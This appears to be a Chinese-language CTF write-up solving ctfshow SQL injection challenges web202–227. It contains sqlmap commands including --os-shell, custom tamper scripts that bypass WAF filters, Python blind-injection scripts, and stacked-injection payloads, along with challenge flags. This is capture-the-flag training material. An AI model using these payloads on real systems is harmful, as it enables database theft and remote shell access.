web202 1 2 3 4 5 6 7 $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '" .$_GET ['id' ]."';" ; function waf ($str ) { }
sqlmap 工具使用练习。 题目强调使用 –data 指定 sqlmap 以 post 方式提交数据。
1 2 3 4 $ sqlmap -u "http://5d506c45-1336-4345-858f-1de6dacef1a1.challenge.ctf.show:8080/api/" --data="id=1" --level=3 --risk=3 $ sqlmap -u "http://5d506c45-1336-4345-858f-1de6dacef1a1.challenge.ctf.show:8080/api/" --data="id=1" --level=3 --risk=3 --dbs $ sqlmap -u "http://5d506c45-1336-4345-858f-1de6dacef1a1.challenge.ctf.show:8080/api/" --data="id=1" --level=3 --risk=3 --D "ctfshow_web" --tables $ sqlmap -u "http://5d506c45-1336-4345-858f-1de6dacef1a1.challenge.ctf.show:8080/api/" --data="id=1" --level=3 --risk=3 -D "ctfshow_web" -T "ctfshow_user" --dump
数据中找到 flag。
web203 1 2 3 4 5 6 7 $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '" .$_GET ['id' ]."';" ; function waf ($str ) { }
sqlmap 工具使用练习。 –method 指定 put 请求方式,url 要带 index.php,还要加上 –headers=”Content-Type: text/plain” 便于 put 接收表单参数。
1 $ sqlmap -u "http://c9d3e765-d676-4c4c-a87b-3b99ebf5e70b.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump
web204 1 2 3 4 5 6 7 $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '" .$_GET ['id' ]."';" ; function waf ($str ) { }
sqlmap 工具使用练习。 –cookie 带上 PHPSESSID,其余不变。
1 $ sqlmap -u "http://38e4a4ea-fb61-45cd-81cb-2f96697a5d0f.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump
web205 1 2 3 4 5 6 7 $sql = "select id,username,password from ctfshow_user where id = '" .$_GET ['id' ]."';" ; function waf ($str ) { }
sqlmap 工具使用练习。 题目提示 api 调用需要鉴权,查看日志发现 /api/getToken.php 的访问,设置参数 –safe-url 和 –safe-freq 在调用 api 前访问 token 链接。
1 $ sqlmap -u "http://66b00e8e-9b47-461a-925a-5dc2c3ef9988.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="http://66b00e8e-9b47-461a-925a-5dc2c3ef9988.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 -T ctfshow_flax --dump
web206 1 2 3 4 5 6 7 $sql = "select id,username,pass from ctfshow_user where id = ('" .$id ."') limit 0,1;" ; function waf ($str ) { }
sqlmap 工具使用练习。 题目提示 sql 需要闭合,但似乎对 sqlmap 没有影响,和上一题相比只变了表名。
1 $ sqlmap -u "http://56856f5f-d186-4e25-827b-5f18cafa3df3.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="http://56856f5f-d186-4e25-827b-5f18cafa3df3.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 -T ctfshow_flaxc --dump
web207 1 2 3 4 5 6 7 $sql = "select id,username,pass from ctfshow_user where id = ('" .$id ."') limit 0,1;" ; function waf ($str ) { return preg_match ('/ /' , $str ); }
sqlmap 工具使用练习。 题目提示要用 –tamper 加载自己写的 tamper,给出的正则过滤了空格 (%20
),所以要用 tamper 替换一下 Payload 里面的空格。
1 2 3 4 5 6 7 8 9 10 11 12 13 $ ls /usr/share/sqlmap/tamper | grep space multiplespaces.py space2comment.py space2dash.py space2hash.py space2morecomment.py space2morehash.py space2mssqlblank.py space2mssqlhash.py space2mysqlblank.py space2mysqldash.py space2plus.py space2randomblank.py
工具自带了很多空格替换的 tamper,这里使用 sapce2comment 绕过。
1 2 $ sqlmap -u "http://bc2af829-2f3c-4060-b63c-101630fdfe14.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="http://bc2af829-2f3c-4060-b63c-101630fdfe14.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=space2comment -T ctfshow_flaxca --dump
web208 1 2 3 4 5 6 7 8 9 10 $sql = "select id,username,pass from ctfshow_user where id = ('" .$id ."') limit 0,1;" ; 返回逻辑 function waf ($str ) { return preg_match ('/ /' , $str ); }
sqlmap 工具使用练习。 和上一题差不多,就变了表名。
1 $ sqlmap -u "http://c5edaa62-dac4-41f9-aab7-2c8c0f734bcd.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="http://c5edaa62-dac4-41f9-aab7-2c8c0f734bcd.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=space2comment -T ctfshow_flaxcac --dump
web209 1 2 3 4 5 6 7 8 $sql = "select id,username,pass from ctfshow_user where id = '" .$id ."' limit 0,1;" ; function waf ($str ) { return preg_match ('/ |\*|\=/' , $str ); }
sqlmap 工具使用练习。 过滤正则表达式新增过滤 * =
,没有现成可用的绕过过滤的 tamper,自己写一个。/usr/share/sqlmap/tamper/web209.py
1 2 3 4 5 6 7 8 9 10 11 12 from lib.core.enums import PRIORITY__priority__ = PRIORITY.NORMAL def dependencies (): pass def tamper (payload, **kwargs ): return payload.replace("=" , " like " ).replace(" " , chr (0x09 ))
1 $ sqlmap -u "http://1d757578-d745-49b6-ac7d-d8b6ca04b103.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="http://1d757578-d745-49b6-ac7d-d8b6ca04b103.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=web209 -T ctfshow_flav --dump
web210 1 2 3 4 5 6 7 $sql = "select id,username,pass from ctfshow_user where id = '" .$id ."' limit 0,1;" ; function decode ($id ) { return strrev (base64_decode (strrev (base64_decode ($id )))); }
sqlmap 工具使用练习,根据给出的解码函数编写 tamper
1 2 3 4 5 6 7 8 9 10 11 12 13 import base64from lib.core.enums import PRIORITY__priority__ = PRIORITY.NORMAL def dependencies (): pass def tamper (payload, **kwargs ): return base64.b64encode(base64.b64encode(payload[::-1 ].encode()).decode()[::-1 ].encode()).decode()
1 $ sqlmap -u "http://97a2abb3-9463-4f0c-b5aa-291bcf252154.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="http://97a2abb3-9463-4f0c-b5aa-291bcf252154.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=web210 -T ctfshow_flavi --dump
web211 1 2 3 4 5 6 7 8 9 10 $sql = "select id,username,pass from ctfshow_user where id = '" .$id ."' limit 0,1;" ; function decode ($id ) { return strrev (base64_decode (strrev (base64_decode ($id )))); } function waf ($str ) { return preg_match ('/ /' , $str ); }
sqlmap 工具使用练习,解码和字符过滤一起来
1 2 3 4 5 6 7 8 9 10 11 12 13 import base64from lib.core.enums import PRIORITY__priority__ = PRIORITY.NORMAL def dependencies (): pass def tamper (payload, **kwargs ): return base64.b64encode(base64.b64encode(payload.replace(" " , chr (0x09 ))[::-1 ].encode()).decode()[::-1 ].encode()).decode()
1 $ sqlmap -u "http://7c37ec3d-adf8-4cb7-b8cc-d79be416452b.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="http://7c37ec3d-adf8-4cb7-b8cc-d79be416452b.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=web211 -T ctfshow_flavia --dump
web212 1 2 3 4 5 6 7 8 9 10 $sql = "select id,username,pass from ctfshow_user where id = '" .$id ."' limit 0,1;" ; function decode ($id ) { return strrev (base64_decode (strrev (base64_decode ($id )))); } function waf ($str ) { return preg_match ('/ |\*/' , $str ); }
sqlmap 工具使用练习,和上一题没差,增加的过滤不影响 tamper
1 $ sqlmap -u "http://78ef7e34-5843-4584-b7dd-d16f0dde210f.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="http://78ef7e34-5843-4584-b7dd-d16f0dde210f.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=web211 -T ctfshow_flavis --dump
web213 1 2 3 4 5 6 7 8 9 10 $sql = "select id,username,pass from ctfshow_user where id = '" .$id ."' limit 0,1;" ; function decode ($id ) { return strrev (base64_decode (strrev (base64_decode ($id )))); } function waf ($str ) { return preg_match ('/ |\*/' , $str ); }
sqlmap 工具使用练习,和上一题完全一样,但 flag 不在表里。题目也提示使用 –os-shell 来 getshell。
1 2 $ sqlmap -u "http://c4548dab-7ead-4a80-a384-31f72836e279.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show --safe-url="http://c4548dab-7ead-4a80-a384-31f72836e279.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=web211 --os-shell os-shell> cat /ctfshow_flag
在根目录找到 flag。
web214 时间盲注,题目提示是时间盲注,这次没给查询语句和返回逻辑。index.php 请求的时候有一个 /api 的请求但 response 没有内容,试着在 ip 处填写 if(1,sleep(5),0)
请求成功延时了 5 秒,确定注入点。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import requestsurl = "http://d3ae60d0-2e14-4022-a741-a5792e99ae19.challenge.ctf.show:8080/api/" payload = "if(ascii(mid((select group_concat(flaga) from ctfshow_flagx),{},1))>{},sleep(5),1)" def valid_char (index: int , ascii : int ) -> bool : data = { "ip" : payload.format (index, ascii ), "debug" : 0 } try : _ = requests.post(url, data=data, timeout=2 ) except : return True return False result = "" i = 1 while True : start = 32 end = 127 while not (abs (start-end) == 1 or start == end): p = (start + end) // 2 if valid_char(i, p): start = p else : end = p if end < start: end = start result += chr (end) print (f"[*] result: {result} " ) i += 1
web215
时间盲注,查询语句提示用了单引号,其他提示依旧没有。尝试 111' or if(1,sleep(5),1) #
,成功延时。尝试之前的查库名 payload 也能延时,证明语句执行了没有被过滤。 写脚本在跑 flag 的时候,跑了几次都出不来,后来发现是列名有问题,加长了延时后结果才是对的,网络环境对时间盲注的影响不容小觑。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import requestsurl = "http://08a214e9-f2ea-4fce-9da4-2415fbf3e37f.challenge.ctf.show:8080/api/" payload = "111' or if(ascii(mid((select flagaa from ctfshow_flagxc),{},1))>{},sleep(10),1) #" def valid_char (index: int , ascii : int ) -> bool : data = { "ip" : payload.format (index, ascii ), "debug" : 0 } try : _ = requests.post(url, data=data, timeout=5 ) except : return True return False result = "" i = 1 while True : start = 32 end = 127 while not (abs (start-end) == 1 or start == end): p = (start + end) // 2 if valid_char(i, p): start = p else : end = p if end < start: end = start if chr (end) == '!' : break result += chr (end) print (f"[*] result: {result} " ) i += 1
web216 1 where id = from_base64 ($id );
时间盲注,查询语句给了一个 from_base64 的操作,这里可以在里面 if 也可以在外面 if,214 题的脚本可用。
web217 1 2 3 4 5 6 where id = ($id ); function waf ($str ) { return preg_match ('/sleep/i' ,$str ); }
时间盲注,查询语句有个括号里外都能 if,返回逻辑部分禁用了 sleep,还可以用 benchmark 和笛卡尔积。 没有了 sleep 要注意把控时间,过大的计算量会卡死,导致后面的注入都不能进行,甚至需要重开环境。 为了获得比较准确的结果,加了一些 time.sleep(10) 跑了很久,阳寿换 flag 典中典了。。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import timeimport requestsurl = "http://8305ab89-65fe-4af7-941d-3edf147d1629.challenge.ctf.show:8080/api/" payload = "if(ascii(mid((select group_concat(flagaabc) from ctfshow_flagxccb),{},1))>{},benchmark(8000000,md5(0x31)),1)" def valid_char (index: int , ascii : int ) -> bool : data = { "ip" : payload.format (index, ascii ), "debug" : 0 } try : _ = requests.post(url, data=data, timeout=3 ) except : return True return False result = "" i = 1 while True : start = 32 end = 127 while not (abs (start-end) == 1 or start == end): p = (start + end) // 2 if valid_char(i, p): start = p time.sleep(10 ) else : end = p if end < start: end = start if chr (end) == '!' : break result += chr (end) print (f"[*] result: {result} " ) i += 1
web218 1 2 3 4 5 6 where id = ($id ); function waf ($str ) { return preg_match ('/sleep|benchmark/i' ,$str ); }
时间盲注,这次 sleep benchmark
都被禁用了,改用笛卡尔积。
https://cloud.tencent.com/developer/article/1601686 通过采用 1 个表 2 个列,或者 2 个列一个表,等等各种组合找出合适的延时的时间。
经过测试,利用 information_schema
中的数据,一个 columns
和两个 tables
的笛卡尔积刚好能延时 6 秒左右,适合构造 payload。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import timeimport requestsurl = "http://6a887fe9-0d60-463b-825c-6cfccacc07bb.challenge.ctf.show:8080/api/" payload = "ascii(mid((select flagaac from ctfshow_flagxc),{},1))>{}" def valid_payload (p: str ) -> bool : data = { "debug" : 0 , "ip" : f"if({p} ,(select count(*) from information_schema.columns A,information_schema.tables B," f"information_schema.tables C),1) " } time_s = time.time() _ = requests.post(url, data=data) time_e = time.time() return time_e-time_s > 4 index = 1 result = "" while True : start = 32 end = 127 while not (abs (start - end) == 1 or start == end): everage = (start + end) // 2 if valid_payload(payload.format (index, everage)): start = everage else : end = everage if end < start: end = start if chr (end) == "!" : break result += chr (end) print (f"[*] result: {result} " ) index += 1
web219 1 2 3 4 5 6 where id = ($id ); function waf ($str ) { return preg_match ('/sleep|benchmark|rlike/i' ,$str ); }
时间盲注,过滤新增 rlike
,对上一题的脚本没有影响,一把梭。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import timeimport requestsurl = "http://7337669d-2dd1-4181-9656-aa71b4f34d25.challenge.ctf.show:8080/api/" payload = "ascii(mid((select flagaabc from ctfshow_flagxca),{},1))>{}" def valid_payload (p: str ) -> bool : data = { "debug" : 0 , "ip" : f"if({p} ,(select count(*) from information_schema.columns A,information_schema.tables B," f"information_schema.tables C),1) " } time_s = None time_e = None while True : time_s = time.time() try : _ = requests.post(url, data=data) except : continue time_e = time.time() break return time_e-time_s > 4 index = 1 result = "" while True : start = 32 end = 127 while not (abs (start - end) == 1 or start == end): everage = (start + end) // 2 if valid_payload(payload.format (index, everage)): start = everage else : end = everage if end < start: end = start if chr (end) == "!" : break result += chr (end) print (f"[*] result: {result} " ) index += 1
web220 1 2 3 4 5 6 where id = ($id ); function waf ($str ) { return preg_match ('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i' ,$str ); }
时间盲注,禁用掉了 ascii hex concat_ws concat mid substr
,不能用二分法,要拼接比较了。 在构造 payload 的时候使用 limit 限制查询条数,从而绕过 concat 的限制,查到所有的结果。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import stringimport timeimport requestsurl = "http://bbdb689b-386c-435c-ae43-e707b9f65a76.challenge.ctf.show:8080/api/" payload = "left((select flagaabcc from ctfshow_flagxcac limit 0,1),{})='{}'" def valid_payload (p: str ) -> bool : data = { "debug" : 0 , "ip" : f"if({p} ,(select count(*) from information_schema.columns A,information_schema.tables B," f"information_schema.tables C),1) " } time_s = None time_e = None while True : time_s = time.time() try : _ = requests.post(url, data=data) except : continue time_e = time.time() break return time_e-time_s > 4 letters = "{}_-" + string.ascii_lowercase + string.digits index = 1 result = "" while True : for letter in letters: load = payload.format (index, result + letter) if valid_payload(load): result += letter break print (f"[*] result: {result} " ) index += 1
web221 1 2 3 4 5 $sql = select * from ctfshow_user limit ($page -1 )*$limit ,$limit ;
limit 位置注入,参考文章 https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html 利用 procedure analyse 构造参数。 payload /api/?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)
web222 1 2 3 4 $sql = select * from ctfshow_user group by $username ;
group by 位置注入,和前面时间盲注一样,可复用脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import timeimport requestsurl = "http://3c71a933-4713-4ccb-8a89-9bc4bbea0bf3.challenge.ctf.show:8080/api/" payload = "ascii(mid((select flagaabc from ctfshow_flaga),{},1))>{}" def valid_payload (p: str ) -> bool : username = f"if({p} ,(select count(*) from information_schema.columns A,information_schema.tables B," \ f"information_schema.tables C),1) " time_s = None time_e = None while True : time_s = time.time() try : _ = requests.get(f"{url} ?u={username} &page=3&limit=10" ) except : continue time_e = time.time() break return time_e-time_s > 4 index = 1 result = "" while True : start = 32 end = 127 while not (abs (start - end) == 1 or start == end): everage = (start + end) // 2 if valid_payload(payload.format (index, everage)): start = everage else : end = everage if end < start: end = start if chr (end) == "!" : break result += chr (end) print (f"[*] result: {result} " ) index += 1
web223 1 2 3 4 5 $sql = select * from ctfshow_user group by $username ;
group by 位置注入,和上一题差不多,不过这次再尝试会发现禁用了数字,改用 true 构造数字。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import timeimport requestsdef make_num (i: int ) -> str : return '+' .join("true" for _ in range (i)) url = "http://9a3b0f78-09a7-4bd9-8c46-b092345a74d2.challenge.ctf.show:8080/api/" payload = "ascii(mid((select flagasabc from ctfshow_flagas),{},true))>{}" true_flag = "passwordAUTO" def valid_payload (p: str ) -> bool : username = f"if({p} ,username,'a')" response = None while True : try : response = requests.get(f"{url} " , params={"u" : username}) except : continue break return true_flag in response.text index = 1 result = "" while True : start = 32 end = 127 while not (abs (start - end) == 1 or start == end): everage = (start + end) // 2 if valid_payload(payload.format (make_num(index), make_num(everage))): start = everage else : end = everage if end < start: end = start if chr (end) == "!" : break result += chr (end) print (f"[*] result: {result} " ) index += 1
能布尔盲注就别时间盲注,快太多了
web224 可能是和文件上传的某道题联动了,先留着。 —-2022.6.7—- 并不是,这道题的注入点在文件的类型里面。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php error_reporting (0 ); if ($_FILES ["file" ]["error" ] > 0 ) { die ("Return Code: " . $_FILES ["file" ]["error" ] . "<br />" ); } if ($_FILES ["file" ]["size" ]>10 *1024 ){ die ("文件过大: " .($_FILES ["file" ]["size" ] / 1024 ) . " Kb<br />" ); } if (file_exists ("upload/" . $_FILES ["file" ]["name" ])) { echo $_FILES ["file" ]["name" ] . " already exists. " ; } else { $filename = md5 (md5 (rand (1 ,10000 ))).".zip" ; $filetype = (new finfo)->file ($_FILES ['file' ]['tmp_name' ]); if (preg_match ("/image|png|bmap|jpg|jpeg|application|text|audio|video/i" ,$filetype )){ die ("file type error" ); } $filepath = "upload/" .$filename ; $sql = "INSERT INTO file(filename,filepath,filetype) VALUES ('" .$filename ."','" .$filepath ."','" .$filetype ."');" ; move_uploaded_file ($_FILES ["file" ]["tmp_name" ], "upload/" . $filename ); $con = mysqli_connect ("localhost" ,"root" ,"root" ,"ctf" ); if (!$con ) { die ('Could not connect: ' . mysqli_error ()); } if (mysqli_multi_query ($con , $sql )) { header ("location:filelist.php" ); } else { echo "Error: " . $sql . "<br>" . mysqli_error ($con ); } mysqli_close ($con ); } ?>
注意 $filetype 是直接拼接且可控的 ,这里获取到的信息可以通过 file 命令等价。这道题禁用了图片类型文件,群主给出的 Payload 是 PC64 Emulator file 改的。
web225 1 2 3 4 5 6 7 $sql = "select id,username,pass from ctfshow_user where username = '{$username} ';" ;if (preg_match ('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set/i' ,$username )){ die (json_encode ($ret )); }
有过滤的堆叠注入,可以利用预处理或 handler,参考文章 。
预处理解法 concat 和 char 都可以绕过过滤。
1 2 def make_payload (sql: str ) -> str : return f"ctfshow';prepare n from char({',' .join(str (ord (c)) for c in sql)} );execute n%23"
payload1: make_payload("show tables;")
1 { "code" : 0 , "msg" : "\u67e5\u8be2\u6210\u529f" , "count" : 1 , "data" : [ { "id" : "1" , "username" : "ctfshow" , "pass" : "ctfshow" } , { "Tables_in_ctfshow_web" : "ctfshow_flagasa" } , { "Tables_in_ctfshow_web" : "ctfshow_user" } ] }
payload2: make_payload("select * from ctfshow_flagasa;")
1 { "code" : 0 , "msg" : "\u67e5\u8be2\u6210\u529f" , "count" : 1 , "data" : [ { "id" : "1" , "username" : "ctfshow" , "pass" : "ctfshow" } , { "id" : "1" , "flagas" : "ctfshow{83599e7a-ba35-4ce6-88a1-6e1c69755ccb}" , "info" : "you get it" } ] }
handler 解法 payload1: ctfshow';show tables%23
1 { "code" : 0 , "msg" : "\u67e5\u8be2\u6210\u529f" , "count" : 1 , "data" : [ { "id" : "1" , "username" : "ctfshow" , "pass" : "ctfshow" } , { "Tables_in_ctfshow_web" : "ctfshow_flagasa" } , { "Tables_in_ctfshow_web" : "ctfshow_user" } ] }
payload2: ctfshow';handler ctfshow_flagasa open as t;handler t read first;handler t close%23
1 { "code" : 0 , "msg" : "\u67e5\u8be2\u6210\u529f" , "count" : 1 , "data" : [ { "id" : "1" , "username" : "ctfshow" , "pass" : "ctfshow" } , { "id" : "1" , "flagas" : "ctfshow{83599e7a-ba35-4ce6-88a1-6e1c69755ccb}" , "info" : "you get it" } ] }
web226 1 2 3 4 5 6 7 $sql = "select id,username,pass from ctfshow_user where username = '{$username} ';" ;if (preg_match ('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|\(/i' ,$username )){ die (json_encode ($ret )); }
有过滤的堆叠注入,和上题相比禁用了 show (
,concat 或 char 函数可以用 0x 代替,就可以继续预处理了。 至于 handler,也需要出表名,没弄出来就只用预处理了。
1 2 def make_payload (sql: str ) -> str : return f"user1';prepare n from 0x{sql.encode().hex ()} ;execute n%23"
payload1: make_payload("show tables;")
1 { "code" : 0 , "msg" : "\u67e5\u8be2\u6210\u529f" , "count" : 1 , "data" : [ { "id" : "2" , "username" : "user1" , "pass" : "111" } , { "Tables_in_ctfshow_web" : "ctfsh_ow_flagas" } , { "Tables_in_ctfshow_web" : "ctfshow_user" } ] }
payload2: make_payload("select * from ctfsh_ow_flagas;")
1 { "code" : 0 , "msg" : "\u67e5\u8be2\u6210\u529f" , "count" : 1 , "data" : [ { "id" : "2" , "username" : "user1" , "pass" : "111" } , { "id" : "1" , "flagasb" : "ctfshow{c09680e6-42ea-4b36-93fd-bd8b47c23002}" , "info" : "you get it" } ] }
web227 1 2 3 4 5 6 7 $sql = "select id,username,pass from ctfshow_user where username = '{$username} ';" ; if (preg_match ('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|db|\,/i' ,$username )){ die (json_encode ($ret )); }
有过滤的堆叠注入,预处理还是可以用,但是就是找不到 flag,传了 shell 也没找到。后来知道了这题的考点是查看MySQL的存储过程 。
1 2 def make_payload (sql: str ) -> str : return f"user1';prepare n from 0x{sql.encode().hex ()} ;execute n%23"
payload: make_payload("select * from information_schema.routines;")
1 { "code" : 0 , "msg" : "\u67e5\u8be2\u6210\u529f" , "count" : 1 , "data" : [ { "id" : "2" , "username" : "user1" , "pass" : "111" } , { "SPECIFIC_NAME" : "getFlag" , "ROUTINE_CATALOG" : "def" , "ROUTINE_SCHEMA" : "ctfshow_web" , "ROUTINE_NAME" : "getFlag" , "ROUTINE_TYPE" : "PROCEDURE" , "DATA_TYPE" : "" , "CHARACTER_MAXIMUM_LENGTH" : null , "CHARACTER_OCTET_LENGTH" : null , "NUMERIC_PRECISION" : null , "NUMERIC_SCALE" : null , "DATETIME_PRECISION" : null , "CHARACTER_SET_NAME" : null , "COLLATION_NAME" : null , "DTD_IDENTIFIER" : null , "ROUTINE_BODY" : "SQL" , "ROUTINE_DEFINITION" : "BEGIN\n\tSELECT \"ctfshow{a697fb41-7a92-40d5-a50c-4cc17ba75fb7}\";\n\tEND" , "EXTERNAL_NAME" : null , "EXTERNAL_LANGUAGE" : null , "PARAMETER_STYLE" : "SQL" , "IS_DETERMINISTIC" : "NO" , "SQL_DATA_ACCESS" : "CONTAINS SQL" , "SQL_PATH" : null , "SECURITY_TYPE" : "DEFINER" , "CREATED" : "2021-07-28 14:42:39" , "LAST_ALTERED" : "2021-07-28 14:42:39" , "SQL_MODE" : "STRICT_TRANS_TABLES,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION" , "ROUTINE_COMMENT" : "" , "DEFINER" : "root@localhost" , "CHARACTER_SET_CLIENT" : "utf8" , "COLLATION_CONNECTION" : "utf8_general_ci" , "DATABASE_COLLATION" : "utf8mb4_general_ci" } , { "SPECIFIC_NAME" : "AddGeometryColumn" , "ROUTINE_CATALOG" : "def" , "ROUTINE_SCHEMA" : "mysql" , "ROUTINE_NAME" : "AddGeometryColumn" , "ROUTINE_TYPE" : "PROCEDURE" , "DATA_TYPE" : "" , "CHARACTER_MAXIMUM_LENGTH" : null , "CHARACTER_OCTET_LENGTH" : null , "NUMERIC_PRECISION" : null , "NUMERIC_SCALE" : null , "DATETIME_PRECISION" : null , "CHARACTER_SET_NAME" : null , "COLLATION_NAME" : null , "DTD_IDENTIFIER" : null , "ROUTINE_BODY" : "SQL" , "ROUTINE_DEFINITION" : "begin\n set @qwe= concat('ALTER TABLE ', t_schema, '.', t_name, ' ADD ', geometry_column,' GEOMETRY REF_SYSTEM_ID=', t_srid); PREPARE ls from @qwe; execute ls; deallocate prepare ls; end" , "EXTERNAL_NAME" : null , "EXTERNAL_LANGUAGE" : null , "PARAMETER_STYLE" : "SQL" , "IS_DETERMINISTIC" : "NO" , "SQL_DATA_ACCESS" : "CONTAINS SQL" , "SQL_PATH" : null , "SECURITY_TYPE" : "INVOKER" , "CREATED" : "2019-10-31 04:15:22" , "LAST_ALTERED" : "2019-10-31 04:15:22" , "SQL_MODE" : "" , "ROUTINE_COMMENT" : "" , "DEFINER" : "root@localhost" , "CHARACTER_SET_CLIENT" : "utf8" , "COLLATION_CONNECTION" : "utf8_general_ci" , "DATABASE_COLLATION" : "utf8mb4_general_ci" } , { "SPECIFIC_NAME" : "DropGeometryColumn" , "ROUTINE_CATALOG" : "def" , "ROUTINE_SCHEMA" : "mysql" , "ROUTINE_NAME" : "DropGeometryColumn" , "ROUTINE_TYPE" : "PROCEDURE" , "DATA_TYPE" : "" , "CHARACTER_MAXIMUM_LENGTH" : null , "CHARACTER_OCTET_LENGTH" : null , "NUMERIC_PRECISION" : null , "NUMERIC_SCALE" : null , "DATETIME_PRECISION" : null , "CHARACTER_SET_NAME" : null , "COLLATION_NAME" : null , "DTD_IDENTIFIER" : null , "ROUTINE_BODY" : "SQL" , "ROUTINE_DEFINITION" : "begin\n set @qwe= concat('ALTER TABLE ', t_schema, '.', t_name, ' DROP ', geometry_column); PREPARE ls from @qwe; execute ls; deallocate prepare ls; end" , "EXTERNAL_NAME" : null , "EXTERNAL_LANGUAGE" : null , "PARAMETER_STYLE" : "SQL" , "IS_DETERMINISTIC" : "NO" , "SQL_DATA_ACCESS" : "CONTAINS SQL" , "SQL_PATH" : null , "SECURITY_TYPE" : "INVOKER" , "CREATED" : "2019-10-31 04:15:22" , "LAST_ALTERED" : "2019-10-31 04:15:22" , "SQL_MODE" : "" , "ROUTINE_COMMENT" : "" , "DEFINER" : "root@localhost" , "CHARACTER_SET_CLIENT" : "utf8" , "COLLATION_CONNECTION" : "utf8_general_ci" , "DATABASE_COLLATION" : "utf8mb4_general_ci" } ] }
